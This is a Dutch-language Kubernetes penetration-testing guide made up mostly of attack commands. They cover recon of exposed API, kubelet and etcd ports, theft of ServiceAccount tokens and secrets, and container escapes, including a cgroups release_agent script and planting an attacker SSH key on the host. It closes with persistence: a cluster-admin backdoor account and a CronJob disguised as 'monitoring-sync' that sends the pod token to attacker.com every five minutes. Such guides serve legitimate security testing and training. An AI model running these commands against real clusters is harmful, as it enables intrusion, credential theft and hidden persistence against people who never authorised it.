Kubernetes Security Deep Dive
De orkestrator die alles bestuurt
Kubernetes — K8s voor de mensen die te lui zijn om tien letters te typen, wat gezien de complexiteit van het platform een ironische vorm van efficiëntie is — is de de facto standaard voor container-orchestratie. Het beheert waar je containers draaien, hoe ze communiceren, hoe ze schalen en hoe ze falen. Het is een besturingssysteem voor je besturingssystemen, wat klinkt als inception en aanvoelt als inception en — als je het voor het eerst probeert te beveiligen — je net zoveel hoofdpijn geeft als inception.
Vanuit pentesting-perspectief is Kubernetes een goudmijn. Het is complex, het is flexibel, het heeft tientallen configuratie-opties waarvan er minstens de helft verkeerd wordt ingesteld, en het heeft een API-server die — als je er bij kunt — je volledige controle geeft over elke container in het cluster.
Architectuur in twee minuten
Een Kubernetes-cluster bestaat uit:
- Control Plane: de API-server (poort 6443), etcd (de database, poort 2379), de scheduler en controller-manager.
- Nodes: machines waarop containers (pods) draaien. Elke node heeft een kubelet (agent, poort 10250) en kube-proxy.
- Pods: de kleinste eenheid — een of meer containers die samen draaien.
Alles communiceert via de API-server. Alles wordt geauthenticeerd via tokens, certificaten of OIDC. Alles wordt geautoriseerd via RBAC (Role-Based Access Control). Tenminste, dat is het plan. De realiteit is dat “alles” in de vorige zinnen eerder “het meeste” betekent, en dat de uitzonderingen precies de dingen zijn die je als pentester zoekt.
Verkenning van buiten het cluster
# API server detectie
nmap -sV -p 6443,8443,443,8080,10250,10255,2379 target
# Ongeauthenticeerde API-toegang
curl -k https://target:6443/api/v1/namespaces
curl -k https://target:6443/version
# Kubelet API (poort 10250)
curl -k https://node:10250/pods
# Als dit een JSON-lijst van pods retourneert: jackpot
# Kubelet read-only (poort 10255, deprecated maar soms actief)
curl http://node:10255/pods
# etcd (poort 2379) — de database met alle secrets
curl -k https://etcd:2379/version
etcdctl --endpoints=https://etcd:2379 --insecure-skip-tls-verify get / --prefix --keys-only
Aanvallen vanuit een pod
Het meest realistische scenario: je hebt een webapplicatie gecompromitteerd die in een Kubernetes-pod draait. Je hebt een shell. Nu wil je uitbreken.
ServiceAccount token misbruiken
# Elke pod krijgt automatisch een ServiceAccount token
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
# Gebruik het token voor API-calls
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
export APISERVER=https://kubernetes.default.svc
# Wat mag je?
curl -sk -H "Authorization: Bearer $TOKEN" $APISERVER/apis/authorization.k8s.io/v1/selfsubjectaccessreviews \
-X POST -H "Content-Type: application/json" \
-d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectAccessReview","spec":{"resourceAttributes":{"verb":"list","resource":"secrets"}}}'
# Of met kubectl (als je het kunt installeren in de pod)
kubectl auth can-i --list --token=$TOKEN
# Secrets lezen (als je rechten hebt)
curl -sk -H "Authorization: Bearer $TOKEN" $APISERVER/api/v1/secrets
curl -sk -H "Authorization: Bearer $TOKEN" $APISERVER/api/v1/namespaces/default/secrets
# Een nieuwe pod starten (als je create pods rechten hebt)
# Maak een pod met hostPID, hostNetwork of een volume mount naar de host
Pod Escape technieken
Een “container escape” is het uitbreken uit de container naar het onderliggende hostsysteem. Er zijn meerdere methoden, afhankelijk van hoe de container is geconfigureerd:
Escape 1: Privileged container
# Check of je in een privileged container zit
cat /proc/1/status | grep Cap
# CapEff: 000001ffffffffff = alle capabilities = privileged
# Mount het host filesystem
mkdir /mnt/host
mount /dev/sda1 /mnt/host
# Lees host-bestanden
cat /mnt/host/etc/shadow
cat /mnt/host/root/.ssh/authorized_keys
# Schrijf een SSH key
echo "ssh-rsa AAAA... attacker" >> /mnt/host/root/.ssh/authorized_keys
# SSH naar de host
ssh -i id_rsa root@NODE_IP
Escape 2: Docker socket mount
# Check of de Docker socket gemount is
ls -la /var/run/docker.sock
# Zo ja: je kunt de Docker daemon aansturen
# Installeer Docker CLI of gebruik curl
curl --unix-socket /var/run/docker.sock http://localhost/containers/json
# Start een nieuwe container met volledige host-toegang
curl --unix-socket /var/run/docker.sock \
-X POST -H "Content-Type: application/json" \
http://localhost/containers/create \
-d '{"Image":"ubuntu","Cmd":["/bin/bash"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}'
Escape 3: HostPID namespace
# Als de pod is gestart met hostPID: true
# Je deelt het PID namespace met de host
ps aux # Je ziet alle processen op de host
# nsenter: spring naar het host namespace
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
# Je bent nu root op de host
Escape 4: Release agent (cgroups v1)
# Werkt in niet-privileged containers met bepaalde capabilities
d=$(dirname $(ls -x /s*/fs/c*/*/r* | head -n1))
mkdir -p $d/w
echo 1 > $d/w/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > $d/release_agent
echo "#!/bin/sh" > /cmd
echo "cat /etc/shadow > $host_path/output" >> /cmd
chmod +x /cmd
sh -c "echo \$\$ > $d/w/cgroup.procs"
cat /output
RBAC Misconfiguratie
# Wie heeft cluster-admin?
kubectl get clusterrolebindings -o json | \
jq '.items[] | select(.roleRef.name=="cluster-admin") | .subjects'
# ServiceAccounts met te veel rechten
kubectl get rolebindings,clusterrolebindings --all-namespaces -o json | \
jq '.items[] | select(.subjects != null) | {name: .metadata.name, ns: .metadata.namespace, role: .roleRef.name, subjects: [.subjects[] | .name]}'
# Wildcard permissions (gevaarlijk)
kubectl get clusterroles -o json | \
jq '.items[] | select(.rules[]?.verbs[]? == "*") | .metadata.name'
etcd: de database met alle geheimen
# Als etcd onbeschermd is (geen TLS, geen auth)
etcdctl --endpoints=http://etcd:2379 get / --prefix --keys-only | head -50
# Secrets lezen (base64-gecodeerd)
etcdctl --endpoints=http://etcd:2379 get /registry/secrets/default/admin-token
# Decodeer: echo "base64_data" | base64 -d
# Alle secrets dumpen
etcdctl --endpoints=http://etcd:2379 get /registry/secrets --prefix
Supply Chain: image security
# Scan images op bekende kwetsbaarheden
trivy image nginx:latest
grype nginx:latest
# Check of images gesigneerd zijn
cosign verify nginx:latest
# Zoek secrets in container images
# Layers uitpakken en doorzoeken
docker save target-image:latest | tar -xf -
find . -name "*.tar" -exec tar -tf {} \; | grep -i "password\|secret\|key\|token"
# Dive: interactief image layers analyseren
dive target-image:latest
Kubernetes Pentest Checklist
| Test | Aanval | Impact |
|---|---|---|
| Anonieme API-toegang | curl -k API:6443/api | Cluster-wide info disclosure |
| Kubelet API open | curl -k node:10250/pods | Pod listing, command exec |
| etcd onbeschermd | etcdctl get /registry/secrets | Alle secrets lezen |
| ServiceAccount overprivileged | kubectl auth can-i --list | Privilege escalation |
| Privileged pod | mount /dev/sda1 /mnt | Full node compromise |
| Docker socket mount | docker run -v /:/host | Full node compromise |
| HostPID/HostNetwork | nsenter --target 1 | Host namespace breakout |
| RBAC wildcards | Cluster-admin voor SA | Full cluster compromise |
| Image vulnerabilities | trivy/grype scan | Known CVEs in productie |
Kubernetes Network Policies en Service Mesh
Standaard kan elke pod in een Kubernetes-cluster communiceren met elke andere pod. Dat is handig voor ontwikkelaars, maar het is een nachtmerrie voor beveiliging. Het betekent dat als je één pod compromitteert, je direct kunt communiceren met de database-pod, de admin-service, de monitoring-pod, en alles daartussenin.
Network Policy testen
# Vanuit een gecompromitteerde pod: scan het interne netwerk
# Installeer nmap of gebruik bash /dev/tcp
for ip in $(seq 1 254); do
timeout 1 bash -c "echo > /dev/tcp/10.0.0.$ip/80" 2>/dev/null && echo "10.0.0.$ip:80 OPEN"
done
# Kubernetes services ontdekken via DNS
nslookup kubernetes.default.svc.cluster.local
nslookup *.default.svc.cluster.local
# Alle services in het cluster vinden
curl -sk -H "Authorization: Bearer $TOKEN" \
"$APISERVER/api/v1/services" | jq '.items[].metadata | {name, namespace}'
# Test of je de database kunt bereiken (standaard: ja)
curl -s telnet://db-service.production:5432
# Check of er NetworkPolicies bestaan
curl -sk -H "Authorization: Bearer $TOKEN" \
"$APISERVER/apis/networking.k8s.io/v1/networkpolicies" | jq '.items | length'
# 0 = geen policies = alles is open
Service Mesh (Istio/Linkerd) omzeilen
Service meshes zoals Istio voegen een sidecar-proxy toe aan elke pod die mTLS afdwingt. Maar de sidecar luistert op localhost — als je al in de pod zit, kun je direct met de applicatie communiceren zonder de sidecar:
# De applicatie luistert op localhost:8080
# De sidecar (Envoy) proxied verkeer op poort 15001
# Maar vanuit de pod kun je direct naar localhost:8080 gaan
curl localhost:8080/admin # Omzeilt de sidecar en alle policies
Secrets Management in Kubernetes
Kubernetes Secrets zijn Base64-gecodeerd. Niet versleuteld — gecodeerd. Het verschil is als het verschil tussen een kluis en een doorzichtige plastic zak: de zak verbergt niets, hij verandert alleen de vorm van de inhoud.
# Secrets lezen (als je de rechten hebt)
kubectl get secrets -A -o json | jq '.items[] | {name: .metadata.name, ns: .metadata.namespace, keys: (.data | keys)}'
# Alle secrets decoderen
kubectl get secrets -n default -o json | jq '.items[].data | to_entries[] | {key: .key, value: (.value | @base64d)}'
# Zoek specifieke secrets
kubectl get secrets -A -o json | jq -r '.items[].data | to_entries[] | .value' | \
while read val; do echo "$val" | base64 -d 2>/dev/null; echo; done | \
grep -i "password\|token\|key\|secret"
# Secrets uit environment variables van pods
kubectl get pods -A -o json | jq '.items[] | {pod: .metadata.name, env: [.spec.containers[].env[]? | select(.valueFrom.secretKeyRef != null)]}'
# etcd: secrets in plaintext
# Als etcd niet versleuteld is (encryption at rest):
etcdctl get /registry/secrets/default/db-credentials --print-value-only
Persistentie in Kubernetes
Na een succesvolle compromise wil je toegang behouden. In Kubernetes heb je meerdere opties:
# 1. Backdoor ServiceAccount aanmaken
kubectl create serviceaccount backdoor -n kube-system
kubectl create clusterrolebinding backdoor --clusterrole=cluster-admin --serviceaccount=kube-system:backdoor
# Token ophalen
kubectl -n kube-system create token backdoor
# 2. CronJob als backdoor
cat <<EOF | kubectl apply -f -
apiVersion: batch/v1
kind: CronJob
metadata:
name: monitoring-sync
namespace: kube-system
spec:
schedule: "*/5 * * * *"
jobTemplate:
spec:
template:
spec:
containers:
- name: sync
image: ubuntu
command: ["/bin/bash", "-c", "curl https://attacker.com/beacon?token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"]
restartPolicy: Never
EOF
# 3. MutatingAdmissionWebhook
# Inject een sidecar in elke nieuwe pod die wordt aangemaakt
# Dit geeft je automatisch een shell in elke toekomstige pod
# 4. Static pod op een node
# Als je shell-toegang hebt tot een node:
# Schrijf een pod manifest naar /etc/kubernetes/manifests/
# De kubelet start het automatisch
Real-world Kubernetes pentest scenario
Een typische Kubernetes-pentest begint niet met cluster-admin. Het begint met een webapplicatie die in een pod draait. Hier is het realistische pad:
1. Exploit een webapplicatie-kwetsbaarheid (SSRF, RCE, SQLi)
↓
2. Verkrijg een shell in de pod
↓
3. Lees het ServiceAccount token
↓
4. Ontdek wat het SA mag doen (kubectl auth can-i --list)
↓
5a. Als het SA secrets kan lezen: dump alle secrets
5b. Als het SA pods kan maken: maak een privileged pod
5c. Als het SA weinig rechten heeft: zoek andere SA's via secrets
↓
6. Escaleer naar cluster-admin via:
- Overprivileged SA in kube-system
- etcd direct access
- Kubelet API exec
- Node compromise via pod escape
↓
7. Bereik het doel: data exfiltratie, ransomware simulatie, of bewijs van impact